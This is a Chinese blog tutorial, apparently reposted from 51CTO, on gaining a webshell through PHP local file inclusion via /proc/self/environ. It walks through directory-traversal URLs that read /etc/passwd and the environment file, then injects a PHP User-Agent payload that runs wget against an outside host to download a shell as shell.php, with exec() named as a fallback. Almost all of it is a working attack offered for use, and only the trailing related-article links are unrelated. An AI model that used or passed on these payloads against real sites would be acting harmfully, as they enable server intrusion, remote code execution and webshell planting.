LFI通过proc/self/environ直接获取webshell

简介:
+关注继续查看
 第一步:寻找本地包含漏洞

首先找到一个可能存在本地包含的文件,去check它
比如:     www.website.com/view.php?page=contact.php
替换成   www.website.com/view.php?page=../ 
我们得到一个错误
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
翻译下以上的错误信息如下:
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/ home / sirgod / public_html / website.com /view.php

说明机会很大,只是不存在文件而已

那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd
提交url:www.website.com/view.php?page=../../etc/passwd 
依旧是:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
所以我们一层层的加上../测试,直到显示为止
www.website.com/view.php?page=../../../../../etc/passwd 
这个时候我们成功的包含了/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:检查proc/self/environ是否可用访问


提交url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到类似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD

第三步: 注入恶意代码

我们怎么才能把我们的恶意代码注入到proc/self/environ呐?
我们可以注入我们的代码在用户代理HTTP头。 
使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL: 
     
      www.website.com/view.php?page=../../../../../proc/self/environ 
      
     选择User-Agent 写代码如下: 
     
    <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
         
    然后提交请求。 
     
     我们的命令将被执行(将下载http://hack-bay.com/Shells/gny.txt,并将其保存为它在shell.php 
网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

第四步:访问我们的shell

只在存在包含文件的目录下访问你注入进去的shell即可

www.website.com/shell.php

现在我们的shell是成功的注入进去了

看到这里想不想知道咋回事那?其原理是利用/proc/self/environ目录遍历及远程执行代码的漏洞,哈哈!!提示下google搜索"Directory Traversal & Remote Code Execution Using /proc/self/environ"吧



















本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/400182,如需转载请自行联系原作者

相关文章
|
安全 关系型数据库 Linux
linux服务器上使用find查杀webshell木马方法
linux服务器上使用find查杀webshell木马方法本文转自:http://ju.outofmemory.cn/entry/256317 只要从事互联网web开发的,都会碰上web站点被入侵的情况。
1845 0
|
数据安全/隐私保护 小程序 Windows
如何找到proc文件sys文件对应的内核函数
工作中, 经常会读取proc或者sys目录下的很多文件, 比如cat /proc/cmdline, cat /proc/uptime之类的, 有时候我们想看看对应的内核实现, 却不知道从哪里找起, 老司机们当然很容易从源代码中根据经验和某种规律找出来, 但是新手就困难得多. 下面有一种办法是很容易得获得这些接口文件对应的内核函数 trace-cmd trace-cmd record -
1393 0
|
机器学习/深度学习 网络协议
proc信息
1、内存 derek@ubox:~/share/uspace$ cat /proc/meminfo MemTotal: 1016124 kB MemFree: 258380 kB MemAvailable: 684700 kB Buffers: ...
980 0
|
Linux
proc文件
参考代码: #include #include #include #include #include #include #include #include #include #define STRING_LEN 1024 c...
804 0
相关产品
云迁移中心
推荐文章
更多